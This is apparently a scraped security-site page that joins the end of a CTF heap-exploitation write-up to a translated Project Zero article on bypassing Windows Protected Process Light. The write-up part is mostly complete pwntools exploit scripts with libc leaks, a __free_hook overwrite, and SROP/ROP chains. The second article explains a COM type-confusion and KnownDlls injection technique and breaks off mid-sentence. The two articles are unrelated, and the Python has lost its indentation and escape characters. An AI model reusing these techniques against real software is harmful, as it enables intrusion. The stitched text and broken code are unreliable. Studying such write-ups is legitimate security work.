sh.recvuntil('Idx: ')
sh.sendline(str(index))
def Attack():
# Your Code here
while True:
sh = get_sh()
# Clean Bins
for i in range(7 + 11):
creat(sh, 0x18 , 'Clean' + 'n')
for i in range(7 + 3):
creat(sh, 0x38 , 'Clean' + 'n')
for i in range(7 + 9):
creat(sh, 0x68 , 'Clean' + 'n')
for i in range(7 + 2):
creat(sh, 0x78 , 'Clean' + 'n')
for i in range(5):
creat(sh, 0xC8 , 'Clean' + 'n')
for i in range(6):
creat(sh, 0xE8 , 'Clean' + 'n')
# Make unlink
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64 + i) + 'n')
creat(sh, 0xBF8 , 'pad' + 'n')
# creat(sh, 0x18 , 'Test' + 'n')
creat(sh, 0x5E0 , 'chunk_72' + 'n')
creat(sh, 0x18 , 'chunk_73' + 'n')
delete(sh,72)
creat(sh, 0x618 , 'chunk_72' + 'n')
creat(sh, 0x28 , 'a' * 8 + p64(0xe1) + p8(0x90))
creat(sh, 0x28 , 'chunk_75' + 'n')
creat(sh, 0x28 , 'chunk_76' + 'n')
creat(sh, 0x28 , 'chunk_77' + 'n')
creat(sh, 0x28 , 'chunk_78' + 'n')
for i in range(7):
delete(sh, i + 64)
delete(sh, 75)
delete(sh, 77)
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64 + i) + 'n')
creat(sh, 0x618 , 'chunk_75' + 'n')
creat(sh, 0x28 , 'b' * 8 + p8(0x10))
creat(sh, 0x28 , 'chunk_1')
for i in range(7):
delete(sh, i + 64)
delete(sh, 78)
delete(sh, 74)
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(64+i) + 'n')
creat(sh, 0x28 , p8(0x10))
creat(sh, 0x28 , 'c' * 0x20 + p64(0xe0))
creat(sh, 0x4F8 , 'n')
delete(sh, 80)
try:
#Leak info
creat(sh, 0x18 , 'n')
show(sh,79)
libc.address = get_address(sh=sh,info='LIBC_ADDRESS --> ',start_string='',end_string='n',offset=0x7f30e85f4000-0x7f30e87d8ca0)
creat(sh, 0x38 , 'n')
delete(sh, 18)
delete(sh, 81)
show(sh,79)
heap_address = get_address(sh=sh,info='HEAP_ADDRESS --> ',start_string='',end_string='n',offset=-0x1270)
creat(sh, 0x18 , 'n')
delete(sh, 18)
delete(sh, 76)
creat(sh, 0x28, p64(0) + p64(0x31) + p64(libc.symbols['__free_hook']))
creat(sh, 0x18 , 'n')
creat(sh, 0x18 , p64(libc.address+0x000000000012be97))
# SROP chain
frame = SigreturnFrame()
frame.rdi = heap_address + 0x30A0 + 0x100 + 0x100
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = heap_address + 0x30a0 + 0x100
frame.rip = libc.address + 0x000000000002535f # : ret
frame.set_regvalue('&fpstate', heap_address)
str_frame = str(frame)
payload = p64(libc.symbols['setcontext'] + 0x1d) + p64(heap_address + 0x30A0) + str_frame[0x10:]
# ROP chain
layout = [
# sys_open("./flag", 0)
libc.address + 0x0000000000047cf8, #: pop rax; ret;
2,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# sys_read(flag_fd, heap, 0x100)
libc.address + 0x0000000000026542, #: pop rdi; ret;
3, # maybe it is 2
libc.address + 0x0000000000026f9e, #: pop rsi; ret;
heap_address + 0x10000,
libc.address + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
0,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# sys_write(1, heap, 0x100)
libc.address + 0x0000000000026542, #: pop rdi; ret;
1,
libc.address + 0x0000000000026f9e, #: pop rsi; ret;
heap_address + 0x10000,
libc.address + 0x000000000012bda6, #: pop rdx; ret;
0x100,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
1,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
# exit(0)
libc.address + 0x0000000000026542, #: pop rdi; ret;
0,
libc.address + 0x0000000000047cf8, #: pop rax; ret;
231,
libc.address + 0x00000000000cf6c5, #: syscall; ret;
]
payload = payload.ljust(0x100, '') + flat(layout)
payload = payload.ljust(0x200, '') + '/flag'
creat(sh, 0x300, payload)
info(str(hex(libc.symbols['setcontext'] + 0x1d)))
delete(sh,82)
flag = sh.recvall(0.3)
# sh.interactive()
sh.close()
return flag
except EOFError:
sh.close()
continue
if __name__ == "__main__":
flag = Attack()
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x06 以 2020 DAS CTF MAY PWN happyending 为例
### 题目信息
保护全开，64位程序，Glibc-2.29
### 漏洞分析
创建新`Chunk`时，存在`Off-by-null`。
### 漏洞利用
这个题的利用甚至比上一题要简单，因为没有开启沙箱
#### 构造堆布局，触发unlink
还是和之前一样，申请用于填满`Tcache`的`chunk`，然后申请探测`chunk`，根据探测结果申请填充`chunk`。
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(i) + 'n')
for i in range(7):
creat(sh, 0x18 , 'chunk_' + str(i) + 'n')
for i in range(7):
creat(sh, 0x38 , 'chunk_' + str(i) + 'n')
creat(sh, 0x9B8 , 'pad' + 'n')
creat(sh, 0x18 , 'Test' + 'n')
接下来的构造与上一题基本完全相同，本题不再赘述。
### Final Exploit
from pwn import *
import traceback
import sys
context.log_level='debug'
context.arch='amd64'
# context.arch='i386'
happyending=ELF('./happyending', checksec = False)
if context.arch == 'amd64':
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec = False)
elif context.arch == 'i386':
try:
libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec = False)
except:
libc=ELF("/lib32/libc.so.6", checksec = False)
def get_sh(Use_other_libc = False , Use_ssh = False):
global libc
if args['REMOTE'] :
if Use_other_libc :
libc = ELF("./", checksec = False)
if Use_ssh :
s = ssh(sys.argv[3],sys.argv[1], sys.argv[2],sys.argv[4])
return s.process("./happyending")
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process("./happyending")
def get_address(sh,info=None,start_string=None,address_len=None,end_string=None,offset=None,int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if int_mode :
return_address = int(sh.recvuntil(end_string,drop=True),16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8,'x00'))
elif context.arch == 'amd64':
return_address=u64(sh.recvuntil(end_string,drop=True).ljust(8,'x00'))
else:
return_address=u32(sh.recvuntil(end_string,drop=True).ljust(4,'x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.sendline('cat /flag')
return sh.recvrepeat(0.3)
def get_gdb(sh,gdbscript=None,stop=False):
gdb.attach(sh,gdbscript=gdbscript)
if stop :
raw_input()
def Multi_Attack():
# testnokill.__main__()
return
def creat(sh,chunk_size,value):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('Your blessing words length :')
sh.sendline(str(chunk_size))
sh.recvuntil('Best wishes to them!')
sh.send(value)
def delete(sh,index):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('input the idx to clean the debuff :')
sh.sendline(str(index))
def show(sh,index):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('input the idx to show your blessing :')
sh.sendline(str(index))
def Attack(sh=None,ip=None,port=None):
while True:
sh = get_sh()
# Make unlink
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(i) + 'n')
for i in range(7):
creat(sh, 0x18 , '/bin/shx00' + 'n')
for i in range(7):
creat(sh, 0x38 , '/bin/shx00' + 'n')
creat(sh, 0x9B8 , 'pad' + 'n')
# creat(sh, 0x18 , 'Test' + 'n')
creat(sh, 0x5E0 , 'chunk_22' + 'n')
creat(sh, 0x18 , 'chunk_23' + 'n')
delete(sh,22)
creat(sh, 0x618 , 'chunk_22' + 'n')
creat(sh, 0x28 , 'a' * 8 + p64(0xe1) + p8(0x90))
creat(sh, 0x28 , 'chunk_25' + 'n')
creat(sh, 0x28 , 'chunk_26' + 'n')
creat(sh, 0x28 , 'chunk_27' + 'n')
creat(sh, 0x28 , 'chunk_28' + 'n')
for i in range(7):
delete(sh, i)
delete(sh, 25)
delete(sh, 27)
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(i) + 'n')
creat(sh, 0x618 , 'chunk_25' + 'n')
creat(sh, 0x28 , 'b' * 8 + p8(0x10))
creat(sh, 0x28 , 'chunk_1')
for i in range(7):
delete(sh, i)
delete(sh, 28)
delete(sh, 24)
for i in range(7):
creat(sh, 0x28 , 'chunk_' + str(i) + 'n')
creat(sh, 0x28 , p8(0x10))
creat(sh, 0x28 , 'c' * 0x20 + p64(0xe0))
creat(sh, 0x4F8 , 'n')
delete(sh, 30)
try:
# Leak info
creat(sh, 0x18 , 'n')
show(sh,29)
libc.address = get_address(sh=sh,info='LIBC_ADDRESS --> ',start_string='n',end_string='1.',offset=0x00007f3e3d454000-0x7f3e3d638ca0)
creat(sh, 0x38 , 'n')
delete(sh, 18)
delete(sh, 31)
show(sh,29)
heap_address = get_address(sh=sh,info='HEAP_ADDRESS --> ',start_string='n',end_string='1.',offset=-0x590)
creat(sh, 0x18 , 'n')
delete(sh, 18)
delete(sh, 26)
creat(sh, 0x28, p64(0) + p64(0x31) + p64(libc.symbols['__free_hook']))
creat(sh, 0x18 , 'n')
creat(sh, 0x18 , p64(libc.symbols['system']))
delete(sh,8)
flag = get_flag(sh)
# get_gdb(sh,stop=True)
# sh.interactive()
sh.close()
return flag
except EOFError:
sh.close()
continue
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh)
log.success('The flag is ' + re.search(r'flag{.+}',flag).group())
## 0x07 参考链接
[【转】Linux下堆漏洞利用(off-by-one) –
intfre](https://blog.csdn.net/nibiru_holmes/article/details/62040763)
[【原】Glibc堆块的向前向后合并与unlink原理机制探究 –
Bug制造机](https://bbs.ichunqiu.com/thread-46614-1-1.html)
[【原】glibc2.29-off by one –
AiDai](https://aidaip.github.io/binary/2020/02/19/glibc2.29-off-by-one.html)
[【原】Balsn CTF 2019 pwn PlainText — glibc-2.29 off by one pypass –
Ex](http://blog.eonew.cn/archives/1233) | 社区文章 |
在 [Recon Montreal 2018](https://recon.cx/2018/montreal/)上我与[Alex
Ionescu](https://twitter.com/aionescu)一起展示了"未知已知的dll和其他违反代码完整性信任的行为"。我们描述了Microsoft
Windows的代码完整性机制的实现以及Microsoft如何实现受保护的进程(PP)。作为其中一部分，我演示了各种绕过Protected Process
Light (PPL)的方法，有些需要管理员权限，有些不需要。
在此博文中，我将描述我在Windows 10
1803上发现一种将代码注入PPL的方法的过程。由于微软认为唯一违反了防御安全边界的问题现在已经修复，因此我可以更详细地讨论这个漏洞。
##### Windows保护进程的背景
Windows Protected Process
(PP)模型的起源可以追溯到Vista，在Vista中引入了它来保护DRM进程。受保护的进程模型受到严格限制，将加载的dll限制为操作系统安装的代码子集。此外，要使可执行文件被认为具有启动保护资格，它必须使用嵌入在二进制文件中的特定Microsoft证书进行签名。没有受保护的进程无法打开具有足够权限注入任意代码或读取内存的受保护进程的句柄，是内核强制执行的一项保护措施。
在Windows 8.1中引入了一种新的机制，即Protected Process Light
(PPL)，使得保护更加普遍。PPL放宽了某些限制，即哪些dll对于加载受保护的进程有效，并为主要的可执行文件引入了不同的签名要求。另一个重大变化是引入了一组签名级别，以区分不同类型的受保护进程。一个级别的PPL可以在相同或更低的签名级别上开放任何进程的完全访问权限，并将有限的访问权限授予更高级别。这些签名级别被扩展到旧的PP模型中，一个级别的PP可以在相同或更低的签名级别上打开所有的PP和PPL，但是反过来不是这样的，PPL不能在任何签名级别上以完全访问的方式打开PP。以下是一些层次及关系图:
签名级别允许微软向第三方开放受保护的进程，尽管目前第三方可以创建的唯一受保护进程类型是Anti-Malware PPL。Anti-Malware
级别是特殊的，因为它允许第三方通过注册 Early Launch Anti-Malware
(ELAM)证书添加额外的允许签名密钥。还有微软的TruePlay，这是一种反欺诈的技术，它使用了PPL的组件，但对于这个讨论来说并不重要。
我可以花很多时间来描述PP和PPL在幕后是如何工作的，但是我建议阅读Alex Ionescu的博客系列文章(第[1](http://www.alex-ionescu.com/?p=97)、[2](http://www.alex-ionescu.com/?p=116)和[3](http://www.alex-ionescu.com/?p=146)部分)，这会做得更好。虽然博客文章主要基于Windows 8.1，但大多数概念在Windows
10中并没有发生实质性的变化。
我在之前以Oracle在Windows上的VirtualBox虚拟化平台上的自定义实现的形式写过关于保护进程的文章[link](https://googleprojectzero.blogspot.com/2017/08/bypassing-virtualbox-process-hardening.html/)，。博客展示了我如何使用多种不同的技术绕过进程保护。当时我没有提到的是我所描述的第一种技术，将JScript代码注入到这个过程中，这也与微软的PPL实现背道而驰。正如我报告中所说，我可以将任意的代码注入到PPL到Microsoft(见issue
[1336](https://bugs.chromium.org/p/project-zero/issues/detail?id=1336))，这是出于对微软想要慎重的修复这个问题。在这种情况下，微软决定它不会作为一个安全公告被修复。然而，在Windows下一个主要版本(1803版)中，微软通过向CI添加以下代码修复了这个问题。DLL，内核的完整代码库:
UNICODE_STRING g_BlockedDllsForPPL[] = {
DECLARE_USTR("scrobj.dll"),
DECLARE_USTR("scrrun.dll"),
DECLARE_USTR("jscript.dll"),
DECLARE_USTR("jscript9.dll"),
DECLARE_USTR("vbscript.dll")
};
NTSTATUS CipMitigatePPLBypassThroughInterpreters(PEPROCESS Process,
LPBYTE Image,
SIZE_T ImageSize) {
if (!PsIsProtectedProcess(Process))
return STATUS_SUCCESS;
UNICODE_STRING OriginalImageName;
// Get the original filename from the image resources.
SIPolicyGetOriginalFilenameAndVersionFromImageBase(
Image, ImageSize, &OriginalImageName);
for(int i = 0; i < _countof(g_BlockedDllsForPPL); ++i) {
if (RtlEqualUnicodeString(g_BlockedDllsForPPL[i],
&OriginalImageName, TRUE)) {
return STATUS_DYNAMIC_CODE_BLOCKED;
}
}
return STATUS_SUCCESS;
}
该修复程序将根据一个包含5个dll的黑名单检查部分正在加载的图像的资源的原始文件名。DLLs黑名单包括了诸如实现了原始的JScript脚本引擎的JSCRIPT.dll，和实现了scriptlet对象的SCROBJ.DLL。如果内核检测到PP或PPL加载了这些dll中的一个，那么使用STATUS_DYNAMIC_CODE_BLOCKED拒绝加载图像。如果您修改其中一个列出的dll的资源部分，则图像签名将失效，从而导致由于密码散列不匹配而导致图像加载失败。实际上，这与Oracle在VirtualBox中用来阻止攻击的修复方法是相同的，尽管它是在用户模式中实现的。
##### 寻找新的目标
前面使用脚本代码的注入技术是一种通用技术，适用于任何加载COM对象的PPL。技术修复后，我决定回过头来看看作为PPL可以加载哪些可执行程序，看看它们是否有任何明显的漏洞，我可以利用这些漏洞来获得任意的代码执行。我本可以选择去追求一个完整的PP，但是PPL似乎是两者中比较容易的，我必须从某个地方开始。如果我们能够获得管理员权限，那么注入PPL的方法有很多，其中最简单的方法就是加载内核驱动程序。由于这个原因，我发现的任何漏洞都必须从一个正常的用户帐户运行。我还想获得最高的签名级别，那意味着PPL在Windows
TCB签名级别。
第一步是识别作为受保护进程运行的可执行程序，这给了我们分析漏洞的最大攻击面。根据Alex的博客文章，似乎为了加载为PP或PPL，签名证书需要在证书的增强密钥使用(EKU)扩展中有一个特殊的对象标识符(OID)。PP和PPL有单独的OID;我们可以在下面的WERFAULTSECURE.exe的比较中看到这一点，可以运行为PP/PPL和CSRSS.EXE，只能作为PPL运行。
我决定寻找嵌入了EKU OIDs签名的可执行文件，这样我就能得到所有可执行文件的列表，以寻找可利用的行为.我为我的[NtObjectManager
PowerShell](https://www.powershellgallery.com/packages/NtObjectManager)
模块编写了Get-EmbeddedAuthenticodeSignature cmdlet来提取这些信息。
此时，我意识到依赖签名证书的方法存在一个问题，我希望能够以PP或PPL的形式运行许多二进制文件，但是我生成的列表中没有这些文件。由于PP最初是为DRM设计的，所以没有明显的可执行文件来处理受保护的媒体路径，比如AUDIODG.EXE。同时,根据我之前的研究设备保护和Windows
10系列,我知道必须有一个可执行的运行在.net框架可以作为PPL添加缓存签署NGEN水平信息生成的二进制文件(NGEN是一个将net汇编转换为本机代码的提前JIT)。PP/PPL的标准比我预期的更流畅。我不再做静态分析，而是决定执行动态分析，于是开始保护我可以列举和查询的每个可执行文件。我编写了下面的脚本来测试单个可执行文件：
Import-Module NtObjectManager
function Test-ProtectedProcess {
[CmdletBinding()]
param(
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
[string]$FullName,
[NtApiDotNet.PsProtectedType]$ProtectedType = 0,
[NtApiDotNet.PsProtectedSigner]$ProtectedSigner = 0
)
BEGIN {
$config = New-NtProcessConfig abc -ProcessFlags ProtectedProcess `
-ThreadFlags Suspended -TerminateOnDispose `
-ProtectedType $ProtectedType `
-ProtectedSigner $ProtectedSigner
}
PROCESS {
$path = Get-NtFilePath $FullName
Write-Host $path
try {
Use-NtObject($p = New-NtProcess $path -Config $config) {
$prot = $p.Process.Protection
$props = @{
Path=$path;
Type=$prot.Type;
Signer=$prot.Signer;
Level=$prot.Level.ToString("X");
}
$obj = New-Object –TypeName PSObject –Prop $props
Write-Output $obj
}
} catch {
}
}
}
当执行此脚本时，将定义一个函数Test-ProtectedProcess。该函数获取一个可执行文件的路径，以指定的保护级别启动该可执行文件，并检查它是否成功。如果ProtectedType和ProtectedSigner参数为0，那么内核将决定“最佳”进程级别。这导致了一些恼人的问题，例如SVCHOST.EXE显式地标记为PPL，并将在PPL-windows级别上运行，但是由于它也是一个有符号的OS组件，内核将确定其最大级别为PP-Authenticode。另一个有趣的问题是使用本机进程创建api，可以将DLL作为主要可执行映像启动。由于大量的系统dll都嵌入了微软的签名，它们也可以作为PP-Authenticode启动，尽管这并不一定有用。将在PPL上运行的二进制文件列表和它们的最大签名级别如下所示：
##### 将任意代码注入NGEN
在仔细检查了以PPL我确定的方式运行的可执行程序列表之后
试图攻击前面提到的 .net NGEN二进制文件，MSCORSVW.EXE。我选择NGEN二进制的理由是:
* 其他大多数二进制文件都是服务二进制文件，它们可能需要管理员权限才能正确启动。
* 二进制文件很可能会加载复杂的功能，比如 .net框架，以及多个COM交互(我用来处理异常行为的技术)
* 在最坏的情况下，它仍然可能产生一个设备保护旁路，因为它作为PPL运行的原因是让它访问内核api来应用缓存的签名级别。即使我们不能让任意代码在PPL中运行，这个二进制文件操作中的任何错误都可以被利用
但是NGEN二进制有一个问题，特别是它不符合我得到最高签名级别的标准-Windows
TCB。然而，我知道，当微软修复了[1332号问题](https://bugs.chromium.org/p/project-zero/issues/detail?id=1332)时，他们留下了一个后门，如果调用过程是PPL，在签名过程中可以维护一个可写句柄，如下所示:
NTSTATUS CiSetFileCache(HANDLE Handle, ...) {
PFILE_OBJECT FileObject;
ObReferenceObjectByHandle(Handle, &FileObject);
if (FileObject->SharedWrite ||
(FileObject->WriteAccess &&
PsGetProcessProtection().Type != PROTECTED_LIGHT)) {
return STATUS_SHARING_VIOLATION;
}
// Continue setting file cache.
}
如果我能在NGEN二进制文件中执行代码，我就可以重用这个后门来缓存一个可以加载到任何PPL的任意文件。然后我可以劫持一个完整的PPL-WindowsTCB进程来达到我的目标
为了开始这个调查，我们需要确定如何使用MSCORSVW可执行文件。微软在任何地方都没有记录使用MSCORSVW，所以我们需要做一些挖掘。首先，这个二进制文件不应该直接运行，而是在创建一个NGEN'ed二进制文件时由NGEN调用。因此，我们可以运行NGEN二进制文件，并使用进程监视器等工具来捕获MSCORSVW进程使用的命令行。执行命令：
`C:\> NGEN install c:\some\binary.dll`
执行以下命令行的结果:
`MSCORSVW -StartupEvent A -InterruptEvent B -NGENProcess C -Pipe D`
A、B、C和D是NGEN确保在新进程启动之前继承到新进程的句柄。由于我们没有看到任何原始的NGEN命令行参数，它们似乎是通过IPC机制传递的。“Pipe”参数表示指定的管道用于IPC。深入研究MSCORSVW中的代码，我们发现方法ngenworkerembed，如下所示
void NGenWorkerEmbedding(HANDLE hPipe) {
CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
CorSvcBindToWorkerClassFactory factory;
// Marshal class factory.
IStream* pStm;
CreateStreamOnHGlobal(nullptr, TRUE, &pStm);
CoMarshalInterface(pStm, &IID_IClassFactory, &factory,
MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL);
// Read marshaled object and write to pipe.
DWORD length;
char* buffer = ReadEntireIStream(pStm, &length);
WriteFile(hPipe, &length, sizeof(length));
WriteFile(hPipe, buffer, length);
CloseHandle(hPipe);
// Set event to synchronize with parent.
SetEvent(hStartupEvent);
// Pump message loop to handle COM calls.
MessageLoop();
// ...
}
这段代码并不完全符合我的预期。它不为整个通信通道使用命名管道，而是仅用于将编组的COM对象传输回调用进程。COM对象是一个实体类，通常您会使用CoRegisterClassObject注册实体，但这将使它在同一安全级别上对所有进程都可访问，因此，通过使用封送处理的连接只能保留为私有，只有产生MSCORSVW的NGEN二进制文件才是私有的。一个使用COM的.net相关的过程让我很感兴趣，正如我之前在另一篇博客[文章](https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html)中描述的那样，你可以利用.net中实现的COM对象。如果幸运的话，这个COM对象是在.net中实现的，我们可以通过查询它的接口来确定它是否在.net中实现，例如我们在我的[OleViewDotNet
PowerShell](https://www.powershellgallery.com/packages/OleViewDotNet)模块中使用Get-ComInterface命令，如下面的截图所示：
不幸的是，这个对象没有在.net中实现，因为您至少会看到_Object接口的一个实例。只有一个ICorSvcBindToWorker接口实现了，让我们深入到这个接口，看看有没有什么可以利用的。
有些东西引起了我的注意，在屏幕截图中有一个HasTypeLib列，对于ICorSvcBindToWorker，我们看到这个列设置为True。HasTypeLib表明，接口的代理代码不是使用预定义的NDR字节流来实现的，它是从类型库中动态生成的。我曾经滥用这个自动生成代理机制来提升到system权限，报告为问题[1112](https://bugs.chromium.org/p/project-zero/issues/detail?id=1112)。在这个问题中，我使用了系统的运行对象表(ROT)的一些有趣行为来强制系统COM服务中的类型混淆。虽然微软已经解决了用户到系统的问题，但是没有什么可以阻止我们使用类型混淆的技巧来利用MSCORSVW进程以PPL的身份在相同的权限级别上运行并获得任意代码执行。使用类型库的另一个优点是，一个普通的代理将作为DLL加载，这意味着它必须满足PPL签名级别的要求;然而，类型库只是数据，因此可以加载到PPL中，而不存在任何签名级别冲突。
类型混淆是如何工作的?从类型库查看ICorSvcBindToWorker接口:
interface ICorSvcBindToWorker : IUnknown {
HRESULT BindToRuntimeWorker(
[in] BSTR pRuntimeVersion,
[in] unsigned long ParentProcessID,
[in] BSTR pInterruptEventName,
[in] ICorSvcLogger* pCorSvcLogger,
[out] ICorSvcWorker** pCorSvcWorker);
};
单个BindToRuntimeWorker接受5个参数，4个导入，1个导出。当试图从我们不可信的进程通过DCOM访问方法时，系统将自动为调用生成代理和存根。这将包括将COM接口参数编组到缓冲区，将缓冲区发送到远程进程，然后在调用实函数之前将编组解到指针。例如，假设有一个简单的函数，DoSomething只需要一个IUnknown指针。编组过程如下所示:
方法调用的操作如下:
* 不受信任的进程在接口上调用DoSomething，该接口实际上是指向DoSomethingProxy的指针，该指针是由传递IUnknown指针参数的类型库自动生成的。
* DoSomethingProxy将IUnknown指针参数封送到缓冲区，并通过RPC在受保护的进程中调用存根
* COM运行时调用DoSomethingStub方法来处理调用。此方法将从缓冲区中反编排接口指针。注意，这个指针不是第1步的原始指针，它很可能是一个新的代理，它会调用不可信的进程
* 存根调用服务器内部实际实现的方法，传递未编组的接口指针。
* DoSomething使用接口指针，例如通过对象的VTable调用它的AddRef
* 我们该如何利用这一点?我们所需要做的就是修改类型库，这样我们就不用传递接口指针，而是传递其他任何东西。虽然类型库文件位于无法修改的系统位置，但我们可以将它的注册替换为当前用户的注册表单元，或者使用与问题1112之前相同的ROT trick。例如，如果我们修改类型库来传递一个整数而不是一个接口指针，我们会得到以下结果:
这些排列操作改变如下:
* 不受信任的进程在接口上调用DoSomething，该接口实际上是指向DoSomethingProxy的指针，该指针由类型库自动生成，传递任意整数参数
* DoSomethingProxy将整数参数封送到缓冲区，并通过RPC在受保护的进程中调用存根
* COM运行时调用DoSomethingStub方法来处理调用。此方法将从缓冲区中解封送整数
* 存根调用服务器内部的实际实现方法，将整数作为参数传递。但是DoSomething没有改变，它仍然是接受接口指针的相同方法。由于COM运行时此时没有更多的类型信息，因此整数类型与接口指针混淆
* DoSomething使用接口指针，例如通过对象的VTable调用它的AddRef。由于这个指针完全受不可信进程的控制，这可能导致任意代码的执行
通过将参数的类型从接口指针更改为整数，我们导致了类型混淆，这允许我们得到任意指针解除引用，从而导致任意代码执行。我们甚至可以通过向类型库添加以下结构来简化攻击：
struct FakeObject {
BSTR FakeVTable;
};
如果我们传递一个指向FakeObject的指针而不是接口指针，自动生成的代理将封送结构和它的BSTR，在存根的另一边重新创建它。由于BSTR是一个已计数的字符串，它可以包含空值，因此这将创建一个指向对象的指针，该对象包含一个指向可充当VTable的任意字节数组的指针。在BSTR中放置已知的函数指针，您就可以轻松地重定向执行，而无需猜测合适的VTable缓冲区的位置
为了充分利用这一点，我们需要调用一个合适的方法，可能运行一个ROP链，我们可能还需要绕过CFG。所有这些听起来都很辛苦，所以我将采用另一种方法，通过滥用
KnownDlls来让任意代码在PPL二进制文件中运行。
##### KnownDlls 和 受保护的进程
在我的前一篇博客[文章](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html)中，我描述了一种将权限从任意对象目录创建漏洞提升到系统的技术，方法是向KnownDlls目录中添加一个条目，并将任意DLL加载到特权进程中。我注意到，这也是PPL代码注入的管理员，因为PPL还将从系统的KnownDlls位置加载dll。由于代码签名检查是在段创建期间执行的，而不是段映射，只要您可以将一个条目放入KnownDlls中，您就可以将任何内容加载到PPL，甚至是无符号代码中
这看起来并不是很有用，如果不是管理员，我们就不能给KnownDlls写入信息，即使没有一些聪明的技巧也不行。然而，值得一看的是如何加载一个已知的DLL，以了解如何可以滥用它。在NTDLL的加载器(LDR)代码中有以下函数来确定是否存在一个预先存在的已知DLL：
NTSTATUS LdrpFindKnownDll(PUNICODE_STRING DllName, HANDLE *SectionHandle) {
// If KnownDll directory handle not open then return error.
if (!LdrpKnownDllDirectoryHandle)
return STATUS_DLL_NOT_FOUND;
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes(&ObjectAttributes,
&DllName,
OBJ_CASE_INSENSITIVE,
LdrpKnownDllDirectoryHandle,
nullptr);
return NtOpenSection(SectionHandle,
SECTION_ALL_ACCESS,
&ObjectAttributes);
}
LdrpFindKnownDll函数调用NtOpenSection来为已知的DLL打开指定的section对象。它没有打开绝对路径，而是使用本机系统调用的特性为OBJECT_ATTRIBUTES结构中的对象名称查找指定一个根目录。这个根目录来自全局变量LdrpKnownDllDirectoryHandle。以这种方式实现调用允许加载器只指定文件名(例如EXAMPLE.DLL)，而不必像查找与现有目录相关的内容那样重新构造绝对路径。跟踪LdrpKnownDllDirectoryHandle的引用，我们可以发现它在LdrpInitializeProcess中初始化，如下所示
NTSTATUS LdrpInitializeProcess() {
// ...
PPEB peb = // ...
// If a full protected process don't use KnownDlls.
if (peb->IsProtectedProcess && !peb->IsProtectedProcessLight) {
LdrpKnownDllDirectoryHandle = nullptr;
} else {
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING DirName;
RtlInitUnicodeString(&DirName, L"\\KnownDlls");
InitializeObjectAttributes(&ObjectAttributes,
&DirName,
OBJ_CASE_INSENSITIVE,
nullptr, nullptr);
// Open KnownDlls directory.
NtOpenDirectoryObject(&LdrpKnownDllDirectoryHandle,
DIRECTORY_QUERY | DIRECTORY_TRAVERSE,
&ObjectAttributes);
}
这段代码不应该那么出人意料，实现调用NtOpenDirectoryObject，将KnownDlls目录的绝对路径作为对象名传递。打开的句柄存储在LdrpKnownDllDirectoryHandle全局变量中，供以后使用。值得注意的是，这段代码检查PEB，以确定当前进程是否为完全受保护的进程。在完全受保护的过程模式下，对加载已知dll的支持是禁用的，这就是为什么即使有管理员权限和我在上一篇博客文章中介绍的聪明技巧，我们也只能损害PPL，而不能损害PP。
这些知识对我们有什么帮助?我们可以使用我们的COM类型混淆技巧将值写入任意内存位置，而不是试图劫持代码执行，从而只对数据进行攻击。因为我们可以将任何我们喜欢的句柄继承到新的PPL进程中，所以我们可以设置一个带有命名节的对象目录，然后使用类型混淆将LdrpKnownDllDirectoryHandle的值更改为继承句柄的值。如果我们从System32引入一个已知名称的DLL负载，那么LDR将检查我们的伪目录中的指定部分，并将未签名代码映射到内存中，甚至为我们调用DllMain。不需要注入线程，ROP或绕过CFG。
我们只需要一个合适的数据类型来编写任意值，不幸的是，虽然我可以找到导致任意写入的方法，但我无法充分控制正在写入的值。最后，我使用了ICorSvcBindToWorker::BindToRuntimeWorker返回的对象上实现的接口和方法
interface ICorSvcPooledWorker : IUnknown {
HRESULT CanReuseProcess(
[in] OptimizationScenario scenario,
[in] ICorSvcLogger* pCorSvcLogger,
[out] long* pCanContinue);
};
在CanReuseProcess中，pCanContinue的目标值总是初始化为0。因此，通过将类型库定义中的[out] long _替换为[in]
long_
，我们可以将0写入到指定的任何内存位置。通过prefilling低16位新流程的处理与处理假KnownDlls目录表我们可以肯定真实之间的一个别名KnownDlls将打开过程一旦开始,我们只需修改前16位的处理为0。如下图所示：
一旦我们用0覆盖了前16位(写是32位，但是句柄在64位模式下是64位，所以我们不会覆盖任何重要的东西)LdrpKnownDllDirectoryHandle现在指向我们的一个KnownDlls
句柄。然后，我们可以通过将自定义封送对象发送到相同的方法来轻松地诱导DLL负载，我们将在PPL中得到任意的代码执行
##### 提升到PPL-Windows TCB
我们不能就此打住，攻击MSCORSVW只会让我们获得CodeGen签名级别的PPL，而不是Windows
